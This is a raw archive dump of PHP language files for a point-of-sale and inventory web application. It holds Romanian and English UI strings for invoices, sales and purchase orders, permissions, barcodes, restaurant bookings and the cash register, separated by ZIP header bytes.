'show_total_in_words' => 'Afișați totalul în cuvinte', 'show_in_word_help' => 'extinderea php-intl trebuie activată', 'print_on_suspend' => 'Imprimați factura la suspendare', 'view_all_customer' => 'Vizualizați toți clienții', 'view_own_customer' => 'Vizualizați propriul client', 'view_all_supplier' => 'Vizualizați toți furnizorii', 'view_own_supplier' => 'Vizualizați propriul furnizor', 'label_help' => 'Imprimați codul de bare / eticheta', 'connection_type_windows' => 'Tip conexiune Windows', 'connection_type_linux' => 'Tip conexiune Linux', 'windows_type_help' => 'Fișierele dispozitivului vor fi de-a lungul liniei', 'linux_type_help' => 'Fișierul dispozitivului imprimantei dvs. va fi undeva ca', 'due_date' => 'Data scadentă', 'quotation_no' => 'Numărul de ofertă', 'browser_based_printing' => 'Imprimare bazată pe browser', 'configured_printer' => 'Utilizați imprimanta de chitanțe configurată', 'for_normal_printer' => 'Pentru imprimantă normală', 'recomended_for_80mm' => 'Recomandat pentru imprimantă de recepție cu linie termică, dimensiune hârtie de 80 mm', 'recomended_for_58mm' => 'Recomandat pentru imprimantă de recepție cu linie termică, dimensiune hârtie de 80 mm și 58 mm', 'classic' => 'Clasic', 'elegant' => 'Elegant', 'slim' => 'Subţire', 'detailed' => 'Detaliat', 'columnize_taxes' => 'Coloanați impozitele', 'access_sell_return' => 'Acces vinde returnare', 'system_notification' => 'Notificare de sistem', 'time_range' => 'Interval de timp', 'enable_php_intl_extension' => 'Activați extensia php-intl în setările PHP INI', 'profit_note' => '<b> Notă: </b> Profitul pe produse / categorii / mărci are în vedere numai reducerea în linie. Reducerea facturii nu este luată în considerare.', 'upcoming_bookings' => 'Rezervări viitoare', 'is_refund' => 'Este rambursat', 'is_refund_help' => 'Dacă cheltuielile verificate vor fi rambursate și vor fi adăugate la profitul net', 'refund' => 'Restituire', 'activate' => 'Activati', 'deactivate' => 'Dezactivați', 'add_quotation' => 'Adăugați ofertă', 'product_stock_history' => 'Istoricul stocului de produse', 'quantities_in' => 'Cantități în', 'quantities_out' => 'Cantități afară', 'in' => 'În', 'out' => 'Afară', 'totals' => 'Totale', 'quantity_change' => 'Schimbarea cantității', 'new_quantity' => 'Cantitate nouă', 'no_stock_history_found' => 'Nu s-a găsit istoricul stocului', 'add_draft' => 'Adăugați schiță', 'labels_for_sale_shipping_custom_fields' => 'Etichete de vânzare care expediază câmpuri personalizate', 'is_required' => 'Este necesară', 'convert_to_invoice' => 'Convertiți în factură', 'converted_to_invoice_successfully' => 'Convertit în factură :invoice_no cu succes', 'proforma' => 'Pro forma', 'proforma_invoice' => 'Factura proforma', 'convert_to_proforma' => 'Convertiți în factură Proforma', 'converted_to_proforma_successfully' => 'Conversie la factură Proforma', 'billing_address' => 'Adresa De Facturare', 'delete_sell' => 'Ștergeți vânzarea', 'product_brochure' => 'Brosura produsului', 'whatsapp_text' => 'Text Whatsapp', 'auto_send_wa_notif' => 'Trimiteți automat notificarea Whatsapp', 'send_whatsapp' => 'Trimiteți o notificare Whatsapp', 'send_sms' => 'Trimite SMS', 'send_email' => 'Trimite email', 'shipping_documents' => 'Acte de transport', 'no_attachment_found' => 'Nu s-a găsit atașament', 'attachments' => 'Atașamente', 'print_invoice' => 'Imprimați factura', 'word_format' => 'Format cuvânt', 'international' => 'Internaţional', 'indian' => 'Indian', 'word_format_help' => 'În format internațional, numerele mari sunt reprezentate în milioane, miliarde și trilioane, unde, ca și în formatul indian, este reprezentat în lakuri și crore', 'shipping_edited' => 'Expediere editată', 'payment_edited' => 'Plată modificată', 'notification_sent' => 'Notificare trimisă', 'imported' => 'Importat', 'logout' => 'Deconectare', 'backup_clean_command_instruction' => 'Pentru a curăța copiile de rezervă vechi trebuie să configurați o lucrare cron cu această comandă:', 'converted' => 'Convertit', 'view_commission_agent_sell' => 'Agentul comisiei își poate vedea propria vânzare', 'access_commission_agent_shipping' => 'Agentul comisiei își poate accesa propriile transporturi', 'access_own_shipping' => 'Accesați livrările proprii', 'email_notification_sent' => 'Notificare prin e-mail trimisă', 'sms_notification_sent' => 'Notificare SMS trimisă', 'packing_date' => 'Data ambalării', 'print_exp_date' => 'Data expirării tipăririi', 'print_packing_date' => 'Tipăriți data ambalării', 'print_lot_number' => 'Tipăriți numărul lotului', 'family_contact_number' => 'Numărul de contact al familiei', 'custom_payment' => 'Plată personalizată :number', 'default_credit_limit' => 'Limita de credit implicită', 'price_calculation_type' => 'Tipul de calcul al prețului', 'show_pricing_on_product_sugesstion' => 'Afișați prețurile pentru sfatul de recomandare pentru produse', 'all_purchase_orders' => 'Toate comenzile de cumpărare', 'add_purchase_order' => 'Adăugați o comandă de cumpărare', 'edit_purchase_order' => 'Editați comanda de cumpărare', 'purchase_order_details' => 'Detaliile comenzii de cumpărare', 'enable_purchase_order' => 'Activați comanda de cumpărare', 'purchase_order_help_text' => 'O comandă de cumpărare este un document comercial și prima ofertă oficială emisă de un cumpărător unui vânzător care indică tipurile, cantitățile și prețurile convenite pentru produse sau servicii. Este utilizată pentru a controla achiziționarea de produse și servicii de la furnizori externi. Comenzile de cumpărare pot să fie o parte esențială a comenzilor sistemului de planificare a resurselor întreprinderii. ', 'view_all_purchase_order' => 'Vizualizați toate comenzile de cumpărare', 'view_own_purchase_order' => 'Vizualizați propria comandă de cumpărare', 'create_purchase_order' => 'Creați comanda de cumpărare', 'delete_purchase_order' => 'Ștergeți comanda de cumpărare', 'purchase_order_delete_success' => 'Comanda de cumpărare a fost ștearsă cu succes', 'order_quantity' => 'Cantitatea de comandă', 'order_date' => 'Data comandă', 'max_quantity_quantity_allowed' => 'Max :quantity permisă', 'leave_empty_to_autogenerate' => 'Lăsați gol pentru a genera automat', 'add_edit_invoice_number' => 'Adăugați modificarea numărului de factură', 'keep_blank_to_autogenerate' => 'Păstrați necompletat pentru a genera automat', 'download_pdf' => 'Descărcați pdf', 'attach_pdf_in_email' => 'Atașați factura pdf în e-mail', 'send_sms_whatsapp_notification' => 'Trimiteți o notificare SMS / WhatsApp', 'enable_sales_order' => 'Activați comanda de vânzare', 'sales_order' => 'Comandă de vânzări', 'sales_order_help_text' => 'Comanda de vânzare, uneori prescurtată ca SO, este o comandă emisă de o companie sau de un singur comerciant către un client. O comandă de vânzare poate fi pentru produse și / sau servicii.', 'add_sales_order' => 'Adăugați o comandă de vânzare', 'edit_sales_order' => 'Editați comanda de vânzare', 'shipping_note' => 'Notă de expediere', 'code_1_name' => 'Numele codului 1', 'code_2_name' => 'Numele codului 2', 'code_1' => 'Codul 1', 'code_2' => 'Cod 2', 'download_paking_pdf' => 'Descărcați pachetul pdf', 'subject_type' => 'Tipul subiectului', 'activity_log' => 'Jurnalul de activitate', 'sell_deleted' => 'Vindeți șters', 'so_deleted' => 'Comanda de vânzare ștearsă', 'po_deleted' => 'Comanda de achiziție ștearsă', 'purchase_deleted' => 'Achiziție ștearsă', 'contact_deleted' => 'Contact șters', 'payment_deleted' => 'Plată ștearsă', 'quantity_remaining' => 'Cantitatea rămasă', 'view_sale' => 'Vizualizați vânzarea', 'update_sale' => 'Actualizați vânzarea', 'add_sell' => 'Adăugați vânzare', 'account_details' => 'Detalii cont', 'label' => 'Eticheta', 'prefer_payment_method' => 'Preferă metoda de plată', 'prefer_payment_account' => 'Preferă contul de plată', 'this_will_be_shown_in_pdf' => 'Metoda / contul preferat în care clientul poate plăti factura. (Util pentru facturile de credit)', 'view_own_so' => 'Vizualizați propria comandă de vânzare', 'view_all_so' => 'Vizualizați toate comenzile de vânzare', 'create_so' => 'Creați comandă de vânzare', 'edit_so' => 'Editați comanda de vânzare', 'delete_so' => 'Ștergeți comanda de vânzare', 'types_of_service_custom_field_help' => 'Șase câmpuri personalizate vor fi disponibile în timp ce se adaugă vânzare', 'delete_expense' => 'Ștergeți cheltuielile', 'access_all_expense' => 'Accesați toate cheltuielile', 'designation' => 'Desemnare', 'department' => 'Departament', 'is_default_for_contact' => 'Este implicit pentru contact', 'individual' => 'Individual', 'is_export' => 'Este exportul?', 'export' => 'Export', 'export_custom_field1' => 'Exportați câmpul personalizat 1', 'export_custom_field2' => 'Exportați câmpul personalizat 2', 'export_custom_field3' => 'Exportați câmpul personalizat 3', 'export_custom_field4' => 'Exportați câmpul personalizat 4', 'export_custom_field5' => 'Exportați câmpul personalizat 5', 'export_custom_field6' => 'Exportați câmpul personalizat 6', 'enable_export' => 'Activați exportul', 'edit_status' => 'Editați starea', 'status_updated' => 'Stare actualizată', 'item_discount_label' => 'Etichetă de reducere a articolului', 'sales_orders' => 'Comenzile de vânzări', 'cash_denominations' => 'Denumiri de numerar', 'cash_denominations_help' => 'Valori separate prin virgulă Exemplu: 100.200.500.2000', 'denomination' => 'Denumire', 'count' => 'Numara', 'denomination_add_help_text' => 'Adăugați denumiri în Setări -> Setări comerciale -> POS -> Denumiri de numerar', 'order_dates' => 'Datele comenzii', 'by_category' => 'După categorie', 'by_brand' => 'După marcă', 'no_brand' => 'Fără marcă', 'woocommerce_sync' => 'Sincronizare WooCommerce', 'enable' => 'Permite', 'disable' => 'Dezactivează', 'cmmsn_calculation_type' => 'Tipul de calcul al comisiei', 'invoice_value' => 'Valoarea facturii', 'total_payment_with_commsn' => 'Plata totală cu comision', 'payments_with_cmmsn' => 'Plăți cu comision', 'view_all_drafts' => 'Vizualizați toate schițele', 'view_own_drafts' => 'Vizualizați schițele proprii', 'edit_draft' => 'Editați schița', 'delete_draft' => 'Ștergeți schița', 'view_all_quotations' => 'Vizualizați toate ofertele', 'view_own_quotations' => 'Vizualizați propriile cotații', 'edit_quotation' => 'Editați cotația', 'delete_quotation' => 'Ștergeți cotația', 'primary_work_location' => 'Locația principală de lucru', 'labels_for_purchase_shipping_custom_fields' => 'Etichete pentru achiziționarea câmpurilor personalizate de expediere', 'view_own_purchase_n_stock_adjustment' => 'Vizualizați propriile achiziții și ajustarea stocurilor', 'view_all_purchase_n_stock_adjustment' => 'Vizualizați toate achizițiile și ajustarea stocurilor', 'access_all_shipments' => 'Accesați toate expedițiile', 'view_all_sale' => 'Vedeți toate vânzările', 'total_quantity' => 'Cantitatea totala', 'pending_shipments' => 'Expedieri în așteptare', 'view_paid_sells_only' => 'Vizualizați numai vânzările plătite', 'view_due_sells_only' => 'Vizualizați numai vânzările scadente', 'view_partially_paid_sells_only' => 'Vizualizați numai vânzările plătite parțial', 'view_overdue_sells_only' => 'Vizualizați numai vânzările restante', 'customer_with_no_sell_one_month' => 'Vizualizați clienții fără vânzare numai de la o lună', 'customer_with_no_sell_three_month' => 'Vizualizați clienții fără vânzare de numai trei luni', 'customer_with_no_sell_six_month' => 'Vizualizați clienții fără vânzare numai de la șase luni', 'customer_with_no_sell_one_year' => 'Vizualizați clienții fără vânzare dintr-un singur an', 'customer_permissions_tooltip' => 'Pentru a vizualiza toți clienții fără vânzare dintr-un anumit moment <b> Vizualizați toți clienții </b> este necesară permisiunea, altfel se va filtra numai cu cusromeri creați de utilizatorul conectat', 'sell_permissions_tooltip' => 'Pentru a vizualiza vânzările pe baza stării de plată <b> Vezi toate vânzările </b> este necesară permisiunea, altfel se va filtra doar cu vânzările create de utilizatorul conectat', 'access_pending_shipments_only' => 'Accesați numai expedițiile în așteptare', 'access_all_sell_return' => 'Accesați toate vânzările retransmise', 'access_own_sell_return' => 'Accesați retransmiterea vânzărilor proprii', 'proforma_heading' => 'Antetul facturii Proforma', 'tooltip_proforma_heading' => 'Antetul facturii Proforma este utilizat în timp ce furnizați Proforma clienților.', 'line_taxes' => 'Impozite liniare', 'add_additional_expenses' => 'Adăugați cheltuieli suplimentare', 'additional_expense_name' => 'Denumirea cheltuielilor suplimentare', 'purchase_additional_expense' => 'Achiziționați cheltuieli suplimentare', 'qr_code' => 'Cod QR', 'show_qr_code' => 'Afișați codul QR', 'fields_to_be_shown' => 'Câmpuri de afișat', 'business_location_address' => 'Adresa locației companiei', 'business_tax_1' => 'Impozitul pe afaceri 1', 'business_tax_2' => 'Impozitul pe afaceri 2', 'invoice_datetime' => 'Datetime Facture', 'total_amount_with_tax' => 'Suma totală cu impozitul', 'total_bank_transfer' => 'Transfer bancar total', 'total_advance_payment' => 'Plata în avans totală', 'commission_agent_label' => 'Eticheta agentului comisiei', 'show_commission_agent' => 'Arătați comisionarul', 'cannot_change_role' => 'Nu pot schimba rolul', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'Link de plată', 'enable_payment_link' => 'Activați linkul de plată', 'payment_link_help_text' => 'Permițând utilizatorilor să plătească factura utilizând linkul de plată', 'invoice_payment' => 'Plată factură', 'payment_for_invoice_no' => 'Plata pentru numărul facturii', 'pending_shipments' => 'Expedieri în așteptare', 'sources' => 'Surse', 'stripe_secret_key' => 'Cheie secretă cu dungi', 'stripe_public_key' => 'Stripe cheie publică', 'edit_opening_balance' => 'Editați soldul de deschidere', 'edit_fund_transfer' => 'Editați transferul de fonduri', 'edit_deposit' => 'Editați depozitul', 'deposit_to' => 'Depuneți la', 'transfer_from' => 'Transfer de la', 'edit_account_transaction' => 'Editați tranzacția contului', 'delete_account_transaction' => 'Ștergeți tranzacția contului', 'add_purchase_payment' => 'Adăugați plata achiziției', 'edit_purchase_payment' => 'Modificați plata achiziției', 'delete_purchase_payment' => 'Ștergeți plata achiziției', 'add_sell_payment' => 'Adăugați plata de vânzare', 'edit_sell_payment' => 'Editați plata de vânzare', 'delete_sell_payment' => 'Ștergeți plata de vânzare', 'delivery_person' => 'Persoană de livrare', 'enable_service_staff_pin' => 'Activați PIN-ul personalului de serviciu', 'staff_pin' => 'PIN personal', 'tooltip_is_enable_service_staff_pin' => 'Dacă este activată, în timpul vânzărilor/POS atunci când acest utilizator este selectat ca personal de serviciu, trebuie introdus un cod PIN; un cod PIN incorect nu va permite selectarea acestui utilizator ca personal de serviciu.', 'kitchen_order' => 'Comandă de bucătărie', 'kitchen_order_tooltip' => 'Comanda va fi trimisă la bucătărie doar dacă această opțiune este bifată', 'disable_quotation' => 'Dezactivați Oferta', 'disable_card' => 'Dezactivați Cardul', 'assigned_to' => 'Alocat către', 'has_no_sell_from' => 'Nu are vânzări de la', 'delivery_note' => 'Nota de livrare', 'above_mentioned_items_received_in_good_condition' => 'Articolele menționate mai sus au fost primite în stare bună', 'received_by' => 'Primit de', 'enter_details_below_to_check_repair_status' => 'Introduceți detaliile de mai jos pentru a verifica starea reparației', 'search_by' => 'Căutați după' ]; PK G �Z�J± � ro/barcode.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'barcodes' => 'Barcodes', 'barcode_settings' => 'Barcode Settings', 'manage_your_barcodes' => 'Manage your barcode settings', 'all_your_barcode' => 'All your barcode settings', 'setting_name' => 'Sticker Sheet setting Name', 'setting_description' => 'Sticker Sheet setting Description', 'added_success' => 'Barcode setting added successfully', 'updated_success' => 'Barcode setting updated successfully', 'deleted_success' => 'Barcode setting deleted successfully', 'add_new_setting' => 'Add new setting', 'add_barcode_setting' => 'Add barcode sticker setting', 'edit_barcode_setting' => 'Edit barcode sticker setting', 'in_in' => 'In Inches', 'width' => 'Width of sticker', 'height' => 'Height of sticker', 'top_margin' => 'Additional top margin', 'left_margin' => 'Additional left margin', 'row_distance' => 'Distance between two rows', 'col_distance' => 'Distance between two columns', 'blank_stickers' => 'Blank Stickers', 'stickers_in_one_row' => 'Stickers in one row', 'delete_confirm' => 'This setting will be deleted \n Are you sure?', 'set_as_default' => 'Set as default', 'default' => 'Default', 'default_set_success' => 'Default set successfully', 'stickers_in_one_sheet' => 'No. of Stickers per sheet', 'is_continuous' => 'Continous feed or rolls', 'products' => 'Products', 'no_of_labels' => 'No. of labels', 'info_in_labels' => 'Information to show in Labels', 'print_name' => 'Product Name', 'print_variations' => 'Product Variation (recommended)', 'print_price' => 'Product Price', 'show_price' => 'Show Price', 'preview' => 'Preview', 'print_business_name' => 'Business name', 'barcode_setting' => 'Barcode setting', 'paper_width' => 'Paper width', 'paper_height' => 'Paper height', 'print_labels' => 'Print Labels', 'labels' => 'Labels', ]; PK G �Z��� ro/user.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'edit_profile' => 'Editeaza', 'change_password' => 'Schimba parola', 'current_password' => 'Parola curenta', 'new_password' => 'Parola noua', 'confirm_new_password' => 'Confirma parola', 'user_management' => 'Management utilizatori', 'roles' => 'Roluri', 'users' => 'Utilizatori', 'manage_roles' => 'Administreaza roluri', 'all_roles' => 'Toate', 'add_role' => 'Adauga', 'role_name' => 'Nume rol', 'permissions' => 'Permisiuni', 'role_added' => 'Rol adaugat cu succes.', 'role_already_exists' => 'Exista deja un rol cu acelasi nume.', 'edit_role' => 'Editeaza', 'role_updated' => 'Role actualizat cu succes', 'role_deleted' => 'Role sters cu succes', 'manage_users' => 'Administreaza utilizatori', 'all_users' => 'Toti utilizatorii', 'name' => 'Nume', 'role' => 'Rol', 'add_user' => 'Adauga', 'user_added' => 'Utilizator adaugat cu succes', 'role_is_default' => 'Nu poti modifica acest rol.', 'edit_user' => 'Editeaza', 'leave_password_blank' => 'Lasa campul parola gol daca nu vrei sa modifici parola', 'user_update_success' => 'Utilizator actualizat cu succes.', 'user_delete_success' => 'Utilizator sters cu succes.', ]; PK G �Z��V� ro/restaurant.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Restaurant Language Lines |-------------------------------------------------------------------------- */ 'restaurant' => 'Restaurant', 'tables' => 'Tables', 'table' => 'Table', 'manage_your_tables' => 'Manage restaurant tables', 'all_your_tables' => 'All restaurant tables', 'description' => 'Description', 'add_table' => 'Add table', 'edit_table' => 'Edit table', 'table_name' => 'Table name', 'short_description' => 'Short Description', 'select_table' => 'Select Table', 'show_table' => 'Show table', 'table_label' => 'Table label', 'show_service_staff' => 'Show service staff', 'service_staff_label' => 'Service staff label', 'select_waiter' => 'Select Waiter', 'modifiers' => 'Modifiers', 'modifier_sets' => 'Modifier Sets', 'manage_your_modifiers' => 'Manage all restaurant modifiers', 'all_your_modifiers' => 'All Modifiers', 'add_modifier' => 'Add Modifier', 'modifier_set' => 'Modifier Set', 'modifier' => 'Modifiers', 'edit_modifier' => 'Edit Modifier', 'manage_products' => 'Manage Products', 'products' => 'Products', 'modifiers_for_product' => 'Modifiers for product', 'kitchen' => 'Kitchen', 'mark_as_cooked' => 'Mark as cooked', 'manage_your_kitchen' => 'Manage your kitchen', 'all_orders' => 'All orders', 'order_no' => 'Order No.', 'order_statuses' => [ 'received' => 'Received', 'cooked' => 'Cooked', 'served' => 'Served', '' => 'Received', ], 'order_successfully_marked_cooked' => 'Order successfully marked as cooked', 'order_successfully_marked_served' => 'Order successfully marked as served', 'orders' => 'Orders', 'manage_your_orders' => 'Manage your orders', 'all_your_orders' => 'All your orders', 'mark_as_served' => 'Mark as served', 'placed_at' => 'Placed at', 'order_status' => 'Order status', 'order_details' => 'Order details', 'refresh' => 'Refresh', 'no_orders_found' => 'No orders found', 'select_service_staff' => 'Select service staff', 'service_staff' => 'Service staff', 'kitchen_for_restaurant' => 'Kitchen (For restaurants)', 'products_for_modifier' => 'Products for modifier', 'is_service_staff' => 'Is service staff', 'tooltip_tables' => 'Used mostly in restaurants, bars, salons etc', 'tooltip_modifiers' => 'Extra items added with the main product<br>Example:Toppings, Cheese', 'tooltip_service_staff' => 'Person who provides the designated service to customers<br> Example: Waiting Staff in restaurants, Hairdressers in salon', 'modules_settings' => 'Modules settings', 'bookings' => 'Bookings', 'add_edit_view_all_booking' => 'Add/Edit/View all bookings', 'add_edit_view_own_booking' => 'Add/Edit/View own bookings', 'add_booking' => 'Add new booking', 'start_time' => 'Start time', 'end_time' => 'End time', 'booking_not_available' => 'Table already booked for <b>:customer_name</b> between <b>:booking_time_range</b>', 'select_correspondent' => 'Select correspondent', 'send_notification_to_customer' => 'Send Email/SMS notification to customer', 'booking_details' => 'Booking Details', 'correspondent' => 'Correspondent', 'booking_starts' => 'Booking starts', 'booking_ends' => 'Booking ends', 'cancelled' => 'Cancelled', 'completed' => 'Completed', 'change_booking_status' => 'Change booking status', 'booked' => 'Booked', 'delete_booking' => 'Delete booking', 'click_on_any_booking_to_view_or_change_status' => 'Click on any booking to view details or change status', 'double_click_on_any_day_to_add_new_booking' => 'Double click on any day to add new booking', 'todays_bookings' => "Today's Bookings", 'hello_name' => 'Hello :name!', 'booking_confirmed' => 'Your booking has been confirmed.', 'table_info' => 'Table: :table', 'booking_time_info' => 'From :from TO :to', 'new_booking_subject' => 'New booking - :business_name', 'customer_note' => 'Customer note', 'table_report' => 'Table Report', 'service_staff_report' => 'Service Staff Report', 'service_staff_replacement' => 'Înlocuirea personalului de serviciu', ]; PK G �Z9]��� � ro/purchase.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Purchase Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Purchase screens | */ 'supplier' => 'Furnizor', 'ref_no' => 'Nr. referinta', 'business_location' => 'Locatie afacere', 'purchases' => 'Achizitii', 'add_payment' => 'Adauga plata', 'edit_payment' => 'Editeaza plata', 'view_payments' => 'Vezi platile', 'amount_already_paid' => 'Suma platita deja', 'payment_added_success' => 'Plata adaugata cu succes.', 'payment_updated_success' => 'Plata actualizata cu succes.', 'payment_deleted_success' => 'Plata stearsa cu succes.', 'view_payments' => 'Vezi platile', 'amount' => 'Suma', 'payment_method' => 'Metoda de plata', 'no_records_found' => 'No records found', 'payment_due' => 'Payment due', 'purchase_total' => 'Total achizitie', 'location' => 'Locatie', 'payment_note' => 'Payment Note', 'all_purchases' => 'Toate', 'purchase_status' => 'Status achizitie', 'payment_status' => 'Status plata', 'grand_total' => 'Grand Total', 'add_purchase' => 'Adauga achizitie', 'purchase_date' => 'Data', 'purchase_quantity' => 'Cantitate', 'unit_cost_before_tax' => 'Pret (FTVA)', 'subtotal_before_tax' => 'Subtotal (FTVA)', 'product_tax' => 'TVA', 'net_cost' => 'Cost net', 'line_total' => 'Total', 'unit_selling_price' => 'Pret vanzare', 'total_before_tax' => 'Total FTVA', 'net_total_amount' => 'Net Total Amount', 'discount_type' => 'Discount Type', 'discount_amount' => 'Discount Amount', 'discount' => 'Discount', 'edit_purchase' => 'Editeaza', 'purchase_tax' => 'TVA', 'shipping_details' => 'Shipping Details', 'additional_shipping_charges' => 'Additional Shipping charges', 'purchase_total' => 'Total', 'additional_notes' => 'Additional Notes', 'purchase_add_success' => 'Purchase added successfully', 'purchase_update_success' => 'Purchase updated successfully', 'purchase_details' => 'Purchase Details', 'unit_cost_after_tax' => 'Pret (Cu TVA)', 'total_after_tax' => 'Total cu TVA', 'no_payments' => 'No payments found', 'allow_purchase_different_currency' => 'Purchases in other currency', 'purchase_currency' => 'Purchase Currency', 'p_exchange_rate' => 'Currency Exchange Rate', 'diff_purchase_currency_help' => 'Purchase currency is set to <strong> :currency </strong>', 'list_purchase' => 'Lista achizitii', 'attach_document' => 'Attach Document', 'download_document' => 'Download Document', 'max_file_size' => 'Max File size: :sizeMB', ]; PK G �Z?�k�� � ro/business.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'register_and_get_started_in_minutes' => 'Intregistreaza-te si incepe activitatea in cateva minute', 'business_name' => 'Denumire afacere', 'start_date' => 'Data start', 'currency' => 'Moneda', 'currency_placeholder' => 'Selecteaza moneda', 'upload_logo' => 'Incarca Logo', 'country' => 'Tara', 'state' => 'Judet', 'city' => 'Oras', 'zip_code' => 'Cod postal', 'zip_code_placeholder' => 'Cod postal', 'landmark' => 'Reper', 'tax_1_name' => 'Denumire taxa 1', 'tax_1_no' => 'Nr. taxa 1', 'tax_2_name' => 'Denumire taxa 2', 'tax_2_no' => 'Nr. taxa 2', 'tax_1_placeholder' => 'TVA', 'prefix' => 'Prefix', 'prefix_placeholder' => 'Mr / Mrs / Miss', 'first_name' => 'Nume', 'last_name' => 'Prenume', 'username' => 'Username', 'email' => 'Email', 'password' => 'Parola', 'confirm_password' => 'Confirma parola', 'register' => 'Inregistreaza-te', 'business' => 'Afacere', 'address' => 'Adresa', 'logo_help' => 'Logo deja existent (daca exista) va fi inlocuit', 'update_settings' => 'Actualizare optiuni', 'business_settings' => 'Optiuni afacere', 'settings_updated_success' => 'Optiuni actualizate cu succes', 'default_profit_percent' => 'Procent profit standard', 'default_sales_tax' => 'Taxa standard', 'default_sales_discount' => 'Discount standard', 'business_details' => 'Detalii afacere', 'tax' => 'Taxa', 'tax_details' => 'Detalii taxa', 'owner' => 'Proprietar', 'owner_info' => 'Informatii proprietar', 'sale' => 'Vanzare', 'sell_price_tax' => 'Pret vanzare', 'product' => 'Produs', 'sku_prefix' => 'Prefix SKU', 'language' => 'Limba', 'time_zone' => 'Fus orar', 'months' => [ 1 => 'Ianuarie', 2 => 'Februarie', 3 => 'Martie', 4 => 'Aprilie', 5 => 'Mai', 6 => 'Iunie', 7 => 'Iulie', 8 => 'August', 9 => 'Septembrie', 10 => 'Octombrie', 11 => 'Noiembrie', 12 => 'Decembrie', ], 'fy_start_month' => 'Luna de inceput an fiscal', 'accounting_method' => 'Metoda de contabilizare stocuri', 'fifo' => 'FIFO (First In First Out)', 'lifo' => 'LIFO (Last In First Out)', 'business_locations' => 'Locatii afarcere', 'business_location' => 'Locatie afacere', 'manage_your_business_locations' => 'Administreaza locatiile', 'all_your_business_locations' => 'Toate locatiile', 'add_business_location' => 'Adauga locatie', 'business_location_added_success' => 'Locatie adaugata cu succes', 'edit_business_location' => 'Editeaza locatie', 'business_location_updated_success' => 'Locatie actualizata cu succes', 'location' => 'Locatie', 'already_registered' => 'Esti inregistrat?', 'sign_in' => 'Intra', 'not_yet_registered' => 'Nu esti inregistrat?', 'register_now' => 'Inregistreaza-te acum', 'system' => 'Sistem', 'show_help_text' => 'Arata text ajutator', 'mobile' => 'Mobil', 'alternate_number' => 'Contact alternativ', 'email' => 'Email', 'settings' => 'Optiuni', 'transaction_edit_days' => 'Transaction Edit Days', 'dashboard' => 'Panou control', 'view_stock_expiry_alert_for' => 'Vezi alerta expirate pentru', 'days' => 'zile', 'system_settings' => 'Optiuni sistem', 'add_keyboard_shortcuts' => 'Adauga prescurtari din tastatura', 'operations' => 'Operatii', 'keyboard_shortcut' => 'Prescurtari tastatura', 'business_created_succesfully' => 'Afacere creata cu succes!!', 'tax_number1' => 'Taxa 1', 'tax_number2' => 'Taxa 2', 'is_active' => 'Activ', 'created_by' => 'Creat de', ]; PK G �Z�%I�: : ro/cash_register.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Cash Register Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Cash Register CRUD operations. | */ 'cash_register' => 'Cash Register', 'manage_your_cash_register' => 'Manage Cash Registers', 'all_your_cash_register' => 'All Cash Registers', 'cash_in_hand' => 'Cash in hand', 'open_cash_register' => 'Open Cash Register', 'enter_amount' => 'Enter amount', 'open_register' => 'Open Register', 'register_details' => 'Register Details', 'cash_payment' => 'Cash Payment', 'checque_payment' => 'Cheque Payment', 'card_payment' => 'Card Payment', 'bank_transfer' => 'Bank Transfer', 'other_payments' => 'Other Payments', 'total_sales' => 'Total Sales', 'total_cash' => 'Total Cash', 'current_register' => 'Current Register', 'close_register' => 'Close Register', 'total_card_slips' => 'Total Card Slips', 'total_cheques' => 'Total cheques', 'closing_note' => 'Closing Note', 'close_success' => 'Register closed successfully', 'open' => 'Open', 'close' => 'Close', 'total_refund' => 'Total Refund', 'refunds' => 'Refunds', ]; PK G �Z�!A ro/tooltip.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tooltip Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for various help texts. | */ 'product_stock_alert' => "Products with low stock.<br/><small class='text-muted'>Based on product alert quantity set in add product screen.<br> Purchase this products before stock ends.</small>", 'payment_dues' => "Pending payment for purchases. <br/><small class='text-muted'>Based on supplier's pay term. <br/> Showing payments to be paid in 7 days or less.</small>", 'input_tax' => 'Total tax collected for sales within the selected time period.', 'output_tax' => 'Total tax paid towards purchases for the selected time period.', 'tax_overall' => 'Difference between total tax collected and total tax paid within the selected time period.', 'purchase_due' => 'Total unpaid amount for purchases.', 'sell_due' => 'Total amount to be received from sales', 'over_all_sell_purchase' => '-ve value = Amount to pay <br>+ve Value = Amount to receive', 'no_of_products_for_trending_products' => 'Number of top trending products to be compared in the chart below.', 'top_trending_products' => "Top selling products of your shop. <br/><small class='text-muted'>Apply filters to know trending products for specific Category, Brand, Business Location etc.</small>", 'sku' => "Unique product id or Stock Keeping Unit <br><br>Keep it blank to automatically generate sku.<br><small class='text-muted'>You can modify sku prefix in Business settings.</small>", 'enable_stock' => "Enable or disable stock management for a product. <br><br><small class='text-muted'>Stock Management should be disable mostly for services. Example: Hair-Cutting, Repairing, etc.</small>", 'alert_quantity' => "Get alert when product stock reaches or goes below the specified quantity.<br><br><small class='text-muted'>Products with low stock will be displayed in dashboard - Product Stock Alert section.</small>", 'product_type' => '<b>Single product</b>: Product with no variations. <br><b>Variable product</b>: Product with variations such as size, color etc. <br><b>Combo product</b>: A combination of multiple products, also called bundle product', 'profit_percent' => "Default profit margin for the product. <br><small class='text-muted'>(<i>You can manage default profit margin in Business Settings.</i>)</small>", 'pay_term' => "Payments to be paid for purchases/sales within the given time period.<br/><small class='text-muted'>All upcoming or due payments will be displayed in dashboard - Payment Due section</small>", 'order_status' => 'Products in this purchase will be available for sale only if the <b>Order Status</b> is <b>Items Received</b>.', 'purchase_location' => 'Business location where the purchased product will be available for sale.', 'sale_location' => 'Business location from where you want to sell', 'sale_discount' => "Set 'Default Sale Discount' for all sales in Business Settings. Click on the edit icon below to add/update discount.", 'sale_tax' => "Set 'Default 